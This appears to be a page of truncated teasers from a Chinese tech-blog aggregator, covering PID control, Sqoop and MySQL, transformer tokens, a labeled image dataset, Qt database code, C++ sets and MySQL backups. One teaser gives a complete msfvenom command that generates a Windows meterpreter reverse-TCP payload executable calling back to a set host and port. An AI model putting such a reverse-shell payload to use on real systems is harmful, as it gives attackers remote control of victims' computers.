目录 概述 1 算法描述 1.1 PID算法模型 1.2 PID离散化的图形描述 1.3 PID算法的特点 2 离散化的PID算法 2.1 位置式PID算法 2.2 增量式PID算法 2.3 位置式PID与增量式PID比较 3 控制器参数整定 3.1 PID参数确定方法 3.1.1 凑试法 3.1.2 临界比例法 3.1.3 经验法…

个人博客地址：Sqoop导入MySQL中含有回车换行符的数据 MySQL中的数据如下图： 检查HDFS上的目标文件内容可以看出，回车换行符位置的数据被截断了，导致数据列错位。 Sqoop提供了配置参数，在导入时丢弃掉数据的分隔符&…

msfvenom 是攻击载荷（payload）生成器 格式： msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p：指定需要使用的payload -f：指定输出格式 -o：保…

前言 大家对transformers的原理大致都了解了，但是论文里常常说到的token到底是什么？要如何控制token？怎么自定义token？由于token机制比较复杂，作为token讲解的开篇，我们先从快速应用现有的pipline开始&…

数据集格式：Pascal VOC格式YOLO格式(不包含分割路径的txt文件，仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)：1356 标注数量(xml文件个数)：1356 标注数量(txt文件个数)：1356 标注…

主要介绍qt框架中对数据库的增加&#xff0c;删除和修改功能。 软件界面如下 程序结构 tdialogdata.h中代码 #ifndef TDIALOGDATA_H #define TDIALOGDATA_H#include <QDialog> #include<QSqlRecord> namespace Ui { class TDialogData; }class TDialogData : pub…

&#xff08;一&#xff09;set容器的基本概念 1. set是一个集合容器&#xff0c;其中所包含的元素是唯一的&#xff0c;集合中的元素按一定的顺序排列&#xff0c;元素插入过程是按排序规则插入&#xff0c;所以不能指定插入位置 2. set深用红黑树变体的数据结构实现&#xff…

注意&#xff1a;二进制文件删除必须使用help purge 不可用rm -f 会崩 一、概念 增量备份&#xff1a;仅备份上次备份以后变化的数据 差异备份&#xff1a;仅备份上次完全备份以后变化的数据 完全备份&#xff1a;顾名思义&#xff0c;将数据完全备份 其中&#xff0c;…